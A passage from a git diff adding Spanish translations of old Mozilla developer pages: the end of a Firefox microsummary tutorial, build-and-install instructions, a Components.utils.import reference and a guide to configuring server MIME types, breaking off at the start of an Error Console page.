+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        <strong>&lt;value-of select="id('download-count')"/&gt;</strong>
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Incluir_texto" name="Incluir_texto">Incluir texto</h2>
+<p>Para incluir en el microresumen el texto "<cite>Descargas de Fx</cite>", hay que usar una etiqueta XSLT <code>&lt;text&gt;</code> que contenga el texto deseado.</p>
+<p>Añadir al <code>&lt;template&gt;</code> un nodo <code>&lt;text&gt;</code> que contenga el texto "<cite>Descargas de Fx</cite>":</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Conteo de descargas de Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        <strong>&lt;text&gt;Descargas de Fx&lt;/text&gt;</strong>
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<p>Obsérvese que el espacio blanco (espacios, tabuladores, saltos de línea) entre etiquetas XSLT <em>no se transmite</em> a la salida de la transformación XSLT (al contrario que en HTML, en que todo el espacio blanco adyacente se traduce a un sólo espacio), así es que si se desea que aparezca algún espacio en blanco, para que el texto quede separado del conteo, hay que incluirlo dentro de la etiqueta <code>&lt;text&gt;</code>.</p>
+<p>Y con esta pequeña adición, ya hemos terminado de escribir la hoja de transformación XSLT necesaria para convertir la página de inicio de Spread Firefox en un microresumen.</p>
+<h2 id="Especificar_la_p.C3.A1gina_de_aplicaci.C3.B3n_del_microresumen" name="Especificar_la_p.C3.A1gina_de_aplicaci.C3.B3n_del_microresumen">Especificar la página de aplicación del microresumen</h2>
+<p>Una vez completa la hoja de transformación, hay que especificar <em>a qué página</em> se aplica. Si fuéramos los administradores del sitio <a class="external" href="http://www.spreadfirefox.com">Srpead Firefox</a>, nos bastaría con editar la página inicial e incluir en la sección <code>head</code> una etiqueta <code>&lt;link&gt;</code> para referenciar a nuestro generador:</p>
+<pre class="eval">&lt;head&gt;
+  ...
+  <strong>&lt;link rel="microsummary" href="ruta/de/nuestro/generador.xml"&gt;</strong>
+&lt;/head&gt;
+</pre>
+<p>Pero como no somos administradores de ese sitio web, tenemos que especificar la página de aplicación <em>dentro del propio generador</em>, y luego publicarlo para que se pueda descargar e instalar. Para especificar la página de aplicación hay que usar una etiqueta <code>&lt;pages&gt;</code> dentro del nodo <code>&lt;generator&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Conteo de descargas de Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; descargas de Fx&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  <strong>&lt;pages&gt;</strong>
+  <strong>&lt;/pages&gt;</strong>
+&lt;/generator&gt;
+</pre>
+<p>La etiqueta <code>&lt;pages&gt;</code> puede contener tantos nodos <code>&lt;include&gt;</code> y <code>&lt;exclude&gt;</code> como páginas a las cuales el generador se puede aplicar o no, respectivamente.</p>
+<p>Para permitir que el generador se pueda aplicar a una página, hay que añadir un nodo <code>&lt;include&gt;</code> cuyo contenido sea una expresión regular que defina las páginas deseadas. Y para impedir que el generador se pueda aplicar a una página, hay que añadir un nodo <code>&lt;exclude&gt;</code> con una expresión regular que defina las páginas no deseadas.</p>
+<p>El comportamiento por defecto de un generador es que <em>no es aplicable</em> a ninguna página, de modo que hay que listar explícitamente las páginas deseadas, y no es necesario listar las páginas no deseadas (a menos que se hayan incluido previamente).</p>
+<p>Añadamos, pues, una etiqueta <code>&lt;include&gt;</code> para referenciar la página de <a class="external" href="http://www.spreadfirefox.com">Spread Firefox</a>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>" name="Conteo de descargas de Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; descargas de Fx&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  &lt;pages&gt;
+    <strong>&lt;include&gt;<span class="nowiki">http://(www\.)?spreadfirefox\.com/(index\.php)?</span>&lt;/include&gt;</strong>
+  &lt;/pages&gt;
+&lt;/generator&gt;
+</pre>
+<p>Nótese que la dirección incluida ha de estar escrita como <em>expresión regular</em>.</p>
+<h2 id="Publicar_el_generador_para_ser_descargado" name="Publicar_el_generador_para_ser_descargado">Publicar el generador para ser descargado</h2>
+<p>Ahora que el generador está definido y tiene una dirección de aplicación especificada, lo único que queda por hacer es publicarlo para su descarga: Para ello, hay que subirlo a la web y crear en algún lado un enlace de JavaScript que llame al método de FireFox <cite>window.sidebar.addMicrosummaryGenerator()</cite>, que se encarga de descargar e instalar el generador.</p>
+<p>Por ejemplo: Si publicamos el generador en la web en <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml" rel="freelink">http://people.mozilla.com/~myk/micro...-generator.xml</a>, y queremos que los usuarios lo puedan descargar desde <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/index.html" rel="freelink">http://people.mozilla.com/~myk/micro...ial/index.html</a>, tendremos que añadir el siguiente código a dicha página <cite>index.html</cite>:</p>
+<pre class="eval"><strong>&lt;a href="javascript:window.sidebar.addMicrosummaryGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Instalar el microresumen de Spread Firefox&lt;/a&gt;</strong>
+</pre>
+<p>Al pinchar en tal link se producirá un error JavaScript en los navegadores que no soporten microresúmenes, así es que para evitarlo lo mejor es comprobar <em>a priori</em> si el navegador actual soporta microresúmenes, y mostrar un mensaje aclaratorio en caso contrario:</p>
+<pre class="eval"><strong>&lt;script&gt;</strong>
+<strong>  const warning = "Se siente: Para descargar e instalar generadores de microresúmenes se necesita un navegador ad hoc, como Firefox 2.0.";</strong>
+<strong>  function addGenerator(url) {</strong>
+<strong>    if (typeof window.sidebar == "object" &amp;&amp;</strong>
+<strong>        typeof window.sidebar.addMicrosummaryGenerator == "function")</strong>
+<strong>      window.sidebar.addMicrosummaryGenerator(url);</strong>
+<strong>    else</strong>
+<strong>     alert(warning);</strong>
+<strong>  }</strong>
+<strong>&lt;/script&gt;</strong>
+<strong>&lt;a href="javascript:window.sidebar.addMicrosummaryGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Instalar el microresumen de Spread Firefox&lt;/a&gt;</strong>
+</pre>
+<h2 id="Conclusi.C3.B3n" name="Conclusi.C3.B3n">Conclusión</h2>
+<p>Ya debemos tener un generador de microresúmenes que muestra el nùmero actual de descargas de Firefox. Tras instalarlo, añadir a los Marcadores la página <a class="external" href="http://www.spreadfirefox.com">Spread Firefox</a>, y seleccionar el microresumen del menú <cite>Summary</cite> en el cuadro de diálogo de "Añadir marcador".</p>
+<p>Para más información sobre microresúmenes, ver la <a class="external" href="http://wiki.mozilla.org/Microsummaries">página de Microresúmenes</a></p>
diff --git a/files/es/compilar_e_instalar/index.html b/files/es/compilar_e_instalar/index.html
new file mode 100644
index 0000000000..a2c051d7d0
--- /dev/null
+++ b/files/es/compilar_e_instalar/index.html
@@ -0,0 +1,72 @@
+---
+title: Compilar e instalar
+slug: Compilar_e_instalar
+tags:
+  - Documentación_de_compilado
+translation_of: Mozilla/Developer_guide/Build_Instructions
+---
+<p><span class="comment">NOTE: Do not make substantive changes to this document without consulting Benjamin Smedberg &lt;<a class="link-mailto" href="mailto:benjamin@smedbergs.us" rel="freelink">benjamin@smedbergs.us</a>&gt; or one of the build-config peers.</span></p>
+<div class="note">
+ <strong>NOTA</strong>: No comience a compilar sin antes <a href="/es/Configurar_las_opciones_de_compilaci%C3%B3n" title="es/Configurar_las_opciones_de_compilación">configurar las opciones de compilación</a>!</div>
+<h3 id="Compilando" name="Compilando">Compilando</h3>
+<p>Debes usar GNU make para verificar y compilar Mozilla, no se acepta otro programa "make". En Windows, Mac OS X, y GNU/Linux usa "make" para ejecutar GNU make; en la mayoría de los unix-no GNU debes usar "gmake".</p>
+<p>Una vez que verificaste el código, asegúrate de configurar la aplicación como se describe en las opciones de configuración.</p>
+<p>Para Windows, Mac OS X, y GNU/Linux, asegúrate de estar en el nivel superior del directorio fuente ("mozilla") cuando llames el comando <code>make</code>:</p>
+<pre class="eval">$ make -f client.mk build
+</pre>
+<p>Para la mayoría de los unix no-GNU:</p>
+<pre class="eval">$ gmake -f client.mk build
+</pre>
+<p>Si quieres configurar y compilar de forma manual, cd a tu objdir, ejecuta el programa de configuración, y luego ejecuta make/gmake. El programa de configuración tomará las opciones de tu archivo .mozconfig.</p>
+<h3 id="Ejecutando_tu_compilaci.C3.B3n_nueva" name="Ejecutando_tu_compilaci.C3.B3n_nueva">Ejecutando tu compilación nueva</h3>
+<p>Es posible ejecutar la compilación nueva directamente desde el directorio en donde fue creada. De todas formas, el directorio de compilación tal vez contenga symlinks dentro del árbol; debes ejecutar la instalación/packaging para generar una compilación que puede ser movida o compartida.</p>
+<h4 id="Windows_y_Linux" name="Windows_y_Linux">Windows y Linux</h4>
+<p>En sistemas no-macintosh, el producto final se puede hallar en <em>objdir</em>/dist/bin. En plataformas POSIX (BDS, GNU/LINUX, Solaris), debes ejecutar el archivo "mozilla" o "firefox", no el binario "mozilla-bin" o "firefox-bin".</p>
+<h4 id="Mac_OS_X" name="Mac_OS_X">Mac OS X</h4>
+<p>En Macintosh, el sistema de compilado genera una aplicación en <em>objdir</em>/dist/<em>AppName</em>.app por ejemplo, <em>objdir</em>/dist/Minefield.app.</p>
+<p>Fijate que cuando compilas con <code>--enable-debug</code>, la aplicación se ubica en <em>objdir</em>/dist/<em>AppName</em>Debug.app, por ejemplo <em>objdir</em>/dist/MinefieldDebug.app.</p>
+<p>Puedes ejecutar la aplicación, ya sea abriendo la aplicación via Finder o con la línea de comando:</p>
+<pre class="eval">$ objdir/dist/AppName[Debug].app/Contents/MacOS/appname
+</pre>
+<p>Para el ejemplo:</p>
+<pre class="eval">$ objdir/dist/MinefieldDebug.app/Contents/MacOS/firefox
+</pre>
+<h3 id="Instalando_tu_compilaci.C3.B3n" name="Instalando_tu_compilaci.C3.B3n">Instalando tu compilación</h3>
+<p>En plataformas POSIX, puedes instalar ejecutando <em>gmake install</em>. Pero es mejor que sigas los pasos siguientes para crear un tar, luego descomprime el tar.</p>
+<p>Para la mayoria de las aplicaciones, crea el tar dentro del directorio específico de la aplicación:</p>
+<ul>
+ <li>Firefox: <code>$ make -C objdir/browser/installer</code></li>
+ <li>Thunderbird: <code>$ make -C objdir/mail/installer</code></li>
+ <li>SeaMonkey: <code>$ make -C objdir/xpinstall/packager</code></li>
+</ul>
+<p><em>Ejemplo real:</em> Si usas un .mozconfig <a href="/es/Configurar_las_opciones_de_compilaci%C3%B3n#Firefox_est.C3.A1tico_optimizado" title="es/Configurar_las_opciones_de_compilación#Firefox_est.C3.A1tico_optimizado"> Firefox estático optimizado</a></p>
+<ul>
+ <li>Firefox: <code>$ make -C ff-opt-static/browser/installer</code></li>
+</ul>
+<p>Esto generará un archivo <code>firefox-2.0.0.3.en-US.linux-i686.tar.gz</code> dentro del directorio <code>ff-opt-static/dist</code>, el cual puedes descomprimir donde desees.</p>
+<p>Para hacer un instalador para Windows, crea el destino del instalador en el directorio superior</p>
+<ul>
+ <li>Firefox: <code>$ make -C objdir/browser/installer installer</code></li>
+ <li>Thunderbird: <code>$ make -C objdir/mail/installer installer</code></li>
+ <li>SeaMonkey: <code>$ make -C objdir/xpinstall/packager installer</code></li>
+</ul>
+<p><em>NOTA:</em> Para crear el instalador lo más comprimido posible, para Firefox y Thunderbird con el sistema basado en Cygwin, debes instalar algunos programas adicionales.</p>
+<ul>
+ <li><a class="external" href="http://www.7-zip.org/">7-zip</a></li>
+ <li><a class="external" href="http://upx.sourceforge.net/">UPX</a> (para usuarios de Windows el paquete está disponible en <a class="external" href="http://cygwin.com/">Cygwin</a> (Categoría utilitarios). No usen la versión DOS, no funcionará)</li>
+</ul>
+<p>Ambos programas se deben encontrar en el PATH. También MOZ_INSTALLER_USE_7ZIP debe ser exportado a tu entorno. Si usas el sistema MozillaBuild, ambos se instalarán automaticamente.</p>
+<p> </p>
+<div class="originaldocinfo">
+ <h2 id="Informaci.C3.B3n_del_documento" name="Informaci.C3.B3n_del_documento">Información del documento</h2>
+ <ul>
+  <li>Traductor: <a class="external" href="http://developer.mozilla.org/es/docs/Usuario_Discusi%C3%B3n:Blank_zero">Blank zero</a></li>
+  <li>Ultima modificación: 10-may-2007</li>
+  <li>Fuente: <a class="external" href="http://developer.mozilla.org/en/docs/index.php?title=Build_and_Install">Build and Install</a></li>
+ </ul>
+ <h3 id="Informaci.C3.B3n_sobre_el_documento_original" name="Informaci.C3.B3n_sobre_el_documento_original">Información sobre el documento original</h3>
+ <ul>
+  <li>Autor: Benjamin Smedberg</li>
+ </ul>
+</div>
+<p>{{ languages( { "en": "en/Build_and_Install", "fr": "fr/Compilation_et_installation", "ja": "ja/Build_and_Install", "zh-cn": "cn/\u7f16\u8bd1\u4e0e\u5b89\u88c5" } ) }}</p>
diff --git a/files/es/components.utils.import/index.html b/files/es/components.utils.import/index.html
new file mode 100644
index 0000000000..66f32f06e1
--- /dev/null
+++ b/files/es/components.utils.import/index.html
@@ -0,0 +1,62 @@
+---
+title: Components.utils.import
+slug: Components.utils.import
+tags:
+  - NeedsContent
+  - XPConnect
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.import
+---
+<p></p>
+
+<p>Este método fue introducido en <a href="es/Firefox_3_para_desarrolladores">Firefox 3</a> y es usado para compartir código entre diferentes alcances(scopes) de forma sencilla. Por ejemplo, puedes importar <a href="es/XPCOMUtils.jsm">XPCOMUtils.jsm</a> para evitar copiar y pegar grandes porciones comunes de código de registración de componentes XPCOM en tus archivos de compomentes.</p>
+
+<pre class="eval">Components.utils.import("<a class="external" rel="freelink">resource://gre/modules/XPCOMUtils.jsm</a>");
+</pre>
+
+<p>Para documentación mira <a href="es/Usando_m%c3%b3dulos_de_c%c3%b3digo_JavaScript">Usando módulos de código JavaScript</a>.</p>
+
+<h3 id="Diferencias_con_mozIJSSubScriptLoader" name="Diferencias_con_mozIJSSubScriptLoader">Diferencias con mozIJSSubScriptLoader</h3>
+
+<p>Las diferencias con <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIJSSubScriptLoader" title="">mozIJSSubScriptLoader</a></code> son:</p>
+
+<ul>
+ <li>El comportamiento cuando se importa/carga el mismo código desde diferentes lugares:
+  <ul>
+   <li>el cargador de subscrip evalua el código especificado cada vez que es invocado, con el objeto global del llamador.</li>
+   <li><code>Components.utils.import</code> evalua el código de cada módulo sólo una vez, en su propio alcance(scope).</li>
+  </ul>
+
+  <p>Por ejemplo:</p>
+
+  <pre class="eval">var scope1 = {}, scope2 = {};
+Components.utils.import("<a class="external" rel="freelink">resource://gre/modules/JSON.jsm</a>", scope1);
+Components.utils.import("<a class="external" rel="freelink">resource://gre/modules/JSON.jsm</a>", scope2);
+assert(scope2.XPCOMUtils === scope1.XPCOMUtils);
+</pre>
+
+  <p>...retorna <code>true</code>, mientras que:</p>
+
+  <pre class="eval">var someURL = "<a class="external" rel="freelink">resource://gre/modules/JSON.jsm</a>";
+var obj1 = {}, obj2 = {};
+var loader = Components.classes["@mozilla.org/moz/jssubscript-loader;1"]
+                       .getService(Components.interfaces.mozIJSSubScriptLoader);
+loader.loadSubScript(someURL, obj1);
+loader.loadSubScript(someURL, obj2);
+assert(obj2 === obj1);
+</pre>
+
+  <p>...retorna <code>false</code>.</p>
+
+  <p>Esto significa que <code>Components.utils.import</code> es más apropiado para compartir código (y datos?) eficientemente entre scripts JS corriendo en diferentes alcances (scopes).</p>
+ </li>
+ <li>El cargador de subscript acepta una URL para el código a cargar, mientras que <code>import</code> sólo acepta <code><a href="es/Usando_m%c3%b3dulos_de_c%c3%b3digo_JavaScript#Protocolo_resource:">resource:</a></code> y <code>file:</code> URIs.</li>
+</ul>
+
+<h3 id="Recursos_Adicionales" name="Recursos_Adicionales">Recursos Adicionales</h3>
+
+<ul>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=238324" title="FIXED: Implement JavaScript code-sharing module system">error 238324</a></li>
+ <li>La documentación en <a href="https://dxr.mozilla.org/mozilla-central/source/js/src/xpconnect/idl/xpccomponents.idl" rel="custom">xpccomponents.idl</a></li>
+ <li>Los casos de prueba en <code><a href="https://dxr.mozilla.org/mozilla-central/source/js/src/xpconnect/tests/unit/" rel="custom">js/src/xpconnect/tests/unit/</a></code></li>
+</ul>
diff --git a/files/es/configurar_correctamente_los_tipos_mime_del_servidor/index.html b/files/es/configurar_correctamente_los_tipos_mime_del_servidor/index.html
new file mode 100644
index 0000000000..782c328151
--- /dev/null
+++ b/files/es/configurar_correctamente_los_tipos_mime_del_servidor/index.html
@@ -0,0 +1,81 @@
+---
+title: Configurar correctamente los tipos MIME del servidor
+slug: Configurar_correctamente_los_tipos_MIME_del_servidor
+tags:
+  - Desarrollo_Web
+  - Estándares_Web
+  - Seguridad
+  - Todas_las_Categorías
+translation_of: Learn/Server-side/Configuring_server_MIME_types
+---
+<p>
+</p>
+<h3 id="Introduccion" name="Introduccion"> Introduccion </h3>
+<p>Por omisión, muchos servidores web estan configurados para reportar un tipo MIME de <code>texto/plano</code> ó <code>aplicacion/de fuente de octeto</code> para tipos de contenidos desconocidos. A medida son desarrollados nuevos tipos de contenidos, los administradores de red pueden equivocarse al añadirlos a la configuración del servidor web, y esta es la principal causa de problemas para usuarios de navegadores basados en Gecko, el cual respeta los tipos MIME tal y como son reportados por los servidores y las aplicaciones web.
+</p>
+<h3 id=".C2.BFQue_son_los_tipos_de_MIME.3F" name=".C2.BFQue_son_los_tipos_de_MIME.3F"> ¿Que son los tipos de MIME? </h3>
+<p>Los tipos de <abbr>MIME</abbr> describen el tipo de medio del contenido, sea del correo electrónico o el utilizado en los servidores o aplicaciones web, y tiene como proposito ayudar a guiar al navegador web acerca de como ha de ser procesado y mostrado el contenido. Ejemplos de tipos de MIME son:
+</p>
+<ul><li> <code>texto/html</code> para páginas web normales
+</li><li> <code>texto/plano</code> para texto común
+</li><li> <code>Aplicacion/de fuente octeto</code> que significa "descarga este archivo"
+</li><li> <code>Aplicacion/x-java-applet</code> para uso de applets de Java
+</li><li> <code>Aplicacion/pdf</code> para documentos de Adobe<sup>®</sup> PDF.
+</li></ul>
+<h3 id="Informaci.C3.B3n_T.C3.A9cnica" name="Informaci.C3.B3n_T.C3.A9cnica"> Información Técnica </h3>
+<p>MIME está actualmente definida en RFCs <a class="external" href="http://www.isi.edu/in-notes/rfc2045.txt">2045</a>, <a class="external" href="http://www.isi.edu/in-notes/rfc2046.txt">2046</a>, <a class="external" href="http://www.isi.edu/in-notes/rfc2047.txt">2047</a>, <a class="external" href="http://www.isi.edu/in-notes/rfc2048.txt">2048</a>, y <a class="external" href="http://www.isi.edu/in-notes/rfc2049.txt">2049</a> y los valores registrados para los tipos MIME estan disponibles en <a class="external" href="http://www.iana.org/assignments/media-types/index.html">IANA | MIME Media Types</a>. La <a class="external" href="http://www.w3.org/Protocols/HTTP/1.1/spec.html">HTTP specification</a> define un superconjunto de MIME el cual es utilizado para describir los tipos de medios usados en la red.
+</p>
+<h3 id=".C2.BFPor_qu.C3.A9_son_importantes_los_tipos_correctos_de_MIME.3F" name=".C2.BFPor_qu.C3.A9_son_importantes_los_tipos_correctos_de_MIME.3F"> ¿Por qué son importantes los tipos correctos de MIME? </h3>
+<p><img align="right" alt="Example of an incorrect MIME type result">
+Si el servidor de red o la aplicación informan un tipo incorrecto de MIME para el contenido, un navegador de red no tiene forma de saberlo, <i>de acuerdo a la especificación HTTP</i>, más si tenemos en cuenta que el autor especificó el contenido para ser procesado y mostrado en una forma diferente que la impuesta por el tipo MIME informado.
+</p><p>Otros navegadores de red, tal como el Microsoft<sup>®</sup> Internet Explorer, intentan determinar el tipo adecuado de MIME en servidores mal configurados, <i><a class="external" href="http://support.microsoft.com/default.aspx?sd=msdn&amp;scid=kb;en-us;293336">suponiendo</a></i> el tipo adecuado de MIME que debería ser. Esto protege a muchos administradores de red de sus propios errores, pues el Internet Explorer continúa procesando el contenido aunque, por ejemplo, una imagen haya sido informada como texto plano.
+</p>
+<h3 id=".C2.BFPor_qu.C3.A9_los_navegadores_no_deber.C3.ADan_suponer_tipos_MIME.3F" name=".C2.BFPor_qu.C3.A9_los_navegadores_no_deber.C3.ADan_suponer_tipos_MIME.3F"> ¿Por qué los navegadores no deberían suponer tipos MIME? </h3>
+<p>A parte de la violación de la especificación HTTP, es una mala estrategia para los navegadores suponer tipos MIME por las siguientes razones:
+</p>
+<h4 id="P.C3.A9rdida_del_control" name="P.C3.A9rdida_del_control"> Pérdida del control </h4>
+<p>Si el navegador ignora el tipo MIME reportado, los administradores de red y los autores dejarán de tener el control sobre cómo sus contenidos serán procesados.
+</p><p>Por ejemplo, un sitio de red orientado para desarrolladores de red puede enviar determinados ejemplos de documentos HTML como enteros <code>text/html</code> ó como <code>text/plain</code> para lograr documentos con enteros procesados y motrados como HTML ó como código fuente. Si el navegador supone el tipo MIME, esta posibilidad dejará de estar disponible para el autor.
+</p>
+<h4 id="Seguridad" name="Seguridad"> Seguridad </h4>
+<p>Algunos tipos de contenidos, tales como programas ejecutables, son inherentemente inseguros. Por este motivo, esos tipos MIME son generalmente restringidos en términos de qué acciones tomará el navegador de red al recibirlos. Por ejemplo, un programa ejecutable no debería ser ejecutado en la computadora de un usuario, y en su lugar debería aparecer un cuadro de diálogo <b>para preguntar al usuario</b> si desea descargar el archivo.
+</p><p>La suposición de tipos MIME ha llevado a fallas de seguridad en Internet Explorer, debido a autores maliciosos que reportaban el tipo MIME de un archivo peligroso como si fuera uno seguro, evitando así el cuadro de diálogo de descarga normal. El Internet Explorer suponía entonces que se trataba de un programa ejecutable y los corría en la computadora del usuario.
+</p>
+<h3 id="C.C3.B3mo_determinar_el_tipo_MIME_enviado_a_un_servidor" name="C.C3.B3mo_determinar_el_tipo_MIME_enviado_a_un_servidor"> Cómo determinar el tipo MIME enviado a un servidor </h3>
+<p>En Firefox, cargar el archivo y usar Herramientas | Información de página. Puede también usar <a class="external" href="http://www.rexswain.com/httpview.html">Rex Swain's HTTP Viewer</a> ó <a class="external" href="http://livehttpheaders.mozdev.org/">Live HTTP Headers</a> para ver los encabezados completos y contenido de cualquier archivo enviado desde un servidor de red.
+</p><p>De acuerdo a los estándares, una <code>meta</code> etiqueta que brinda el tipo MIME tal como <code><span class="nowiki">&lt;meta http-equiv="Content-Type" content="text/html"&gt;</span></code> debería ser ignorado si hay una <code>Content-Type</code> línea en el encabezado. En vez de buscar esta línea en la fuente HTML, use las técnicas anteriores para determinar el tipo MIME enviado por un servidor.
+</p>
+<h3 id="C.C3.B3mo_determinar_el_tipo_correcto_de_MIME_para_su_contenido" name="C.C3.B3mo_determinar_el_tipo_correcto_de_MIME_para_su_contenido"> Cómo determinar el tipo correcto de MIME para su contenido </h3>
+<p>Hay ciertos pasos los cuales pueden llevar a derminar el correcto tipo de valor MIME a ser usado para su contenido.
+</p>
+<ol><li> Si su contenido fue creado usando la aplicación de software del vendedor, lea la documentación del vendedor para ver qué tipos MIME debería n ser informados para los diferentes tipos de medios.
+</li><li> Mire en el <a class="external" href="http://www.iana.org/assignments/media-types/index.html">IANA | Registro de Tipos de medios MIME</a> que contiene todos los tipos MIME registrados.
+</li><li> Si el tipo de medio es mostrado usando un plug-in en Netscape Gecko, instale el plug-in y luego mire en Ayuda-&gt;Acerca en le Menú Plug-in para ver qué tipos MIME están asociados con el tipo de medio.
+</li><li> Buscar la extensión del archivo en <a class="external" href="http://filext.com/">FILExt</a> para ver qué tipos MIME están asociados con esa expresión.
+</li></ol>
+<h3 id="C.C3.B3mo_configurar_su_servidor_para_enviar_los_tipos_MIME_correctos" name="C.C3.B3mo_configurar_su_servidor_para_enviar_los_tipos_MIME_correctos"> Cómo configurar su servidor para enviar los tipos MIME correctos </h3>
+<ul><li> Si está usando un servidor de red Apache, simplemente copie esto <a href="es/Sample_.htaccess_file">sample .htaccess file</a> en el directorio que contiene los archivos que quiere enviar con los tipos correctos MIME. Si tiene un subdirectorio entero de archivos, sólo ubique el archivo en el directorio principal; No necesita ubicarlo en cada subdirectorio.
+</li><li> Si usa Microsoft IIS, vea <a class="external" href="http://www.microsoft.com/technet/prodtechnol/windows2000serv/technologies/iis/maintain/featusability/mimeiis.mspx">este artículo</a> en Microsoft TechNet.
+</li><li> Si utiliza un servidor script para generar contenido, puede generalmente agregar una línea cerca del principio de su script. Puede servir contenido otro que HTML desde Perl, PHP, ASP, ó Java — sólo cambie el tipo MIME adecuado.
+<ul><li> Para Perl CGI, debería tener la línea <code>print "Content-Type: text/html\n\n";</code> antes que cualquier otras líneas de salida. Si utiliza el módulo CGI, puede utilizar la línea <code>print $cgi-&gt;header('text/html');</code> en lugar de, donde <code>$cgi</code> es su referencia para la instancia CGI.
+</li><li> Para PHP, debería tener la línea <code>header('Content-Type: text/html');</code> antes que cualquier otras líneas de salida.
+</li><li> Para ASP, debería tener la línea <code>response.ContentType = "text/html";</code> antes que cualquier otras líneas de salida.
+</li><li> Para un servlet Java, debería tener la línea <code>response.setContentType("text/html");</code> al principio de su <code>doGet</code> ó <code>doPost</code> método, donde <code>response</code> es una referencia a <code>HttpServletResponse</code>.
+</li></ul>
+</li></ul>
+<h3 id="Enlaces_Relacionados" name="Enlaces_Relacionados"> Enlaces Relacionados </h3>
+<ul><li><a href="es/Tipo_MIME_incorrecto_en_archivos_CSS">Tipo MIME incorrecto en archivos CSS</a>
+</li><li><a class="external" href="http://www.iana.org/assignments/media-types/index.html">IANA | MIME Media Types</a>
+</li><li><a class="external" href="http://www.w3.org/Protocols/HTTP/1.1/spec.html">Hypertext Transfer Protocol — HTTP/1.0</a>
+</li><li><a class="external" href="http://support.microsoft.com/default.aspx?sd=msdn&amp;scid=kb;en-us;293336">Microsoft - 293336 - INFO: WebCast: MIME Type Handling in Microsoft Internet Explorer</a>
+</li><li><a class="external" href="http://msdn.microsoft.com/workshop/networking/moniker/overview/appendix_a.asp">Microsoft - Appendix A: MIME Type Detection in Internet Explorer</a>
+</li><li><a class="external" href="http://www.microsoft.com/windows/ie/downloads/critical/q290108/">Microsoft - Security Update, March 29, 2001</a>
+</li><li><a class="external" href="http://www.microsoft.com/windows/ie/downloads/critical/Q313675/">Microsoft - Security Update, December 13, 2001</a>
+</li></ul>
+<div class="originaldocinfo">
+<h3 id="Informaci.C3.B3n_del_Documento_Original" name="Informaci.C3.B3n_del_Documento_Original"> Información del Documento Original </h3>
+<ul><li> Autor: Bob Clary
+</li><li> Fecha de la última modificación: 20 Feb 2003
+</li></ul>
+</div>
+{{ languages( { "en": "en/Properly_Configuring_Server_MIME_Types" } ) }}
diff --git a/files/es/consola_de_errores/index.html b/files/es/consola_de_errores/index.html
new file mode 100644
index 0000000000..24db971c23
--- /dev/null
+++ b/files/es/consola_de_errores/index.html
@@ -0,0 +1,77 @@
+---
+title: Consola de errores
+slug: Consola_de_errores
+tags:
+  - Desarrollo web
+  - 'Desarrollo_Web:Herramientas'
+  - 'Extensiones:Herramientas'
+  - Herramientas
+  - JavaScript
+  - 'JavaScript:Herramientas'
+  - extensiones
+  - para_revisar
+translation_of: Archive/Mozilla/Error_console
+---
+<p> </p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-1"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La Consola de errores es una herramienta disponible en la mayoría de las aplicaciones basadas en Mozilla que se utiliza para informar de errores en el chrome de la aplicación y en las páginas web que abre el usuario.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human goog-gtc-ph-missing" dir="ltr" style="">En ella se informa sobre errores y avisos relacionados con <a>JavaScript</a>, errores de<a href="/es/CSS" title="CSS"> CSS</a> y mensajes arbitrarios procedentes del código de chrome.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En Firefox, la Consola de errores se puede abrir desde el menú Herramientas o presionando Ctrl-Shift-J.</span></span></p>
+<div class="geckoVersionNote">
+ <p><span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style=""></span></span></p><div class="geckoVersionHeading">
+Gecko 2.0 note
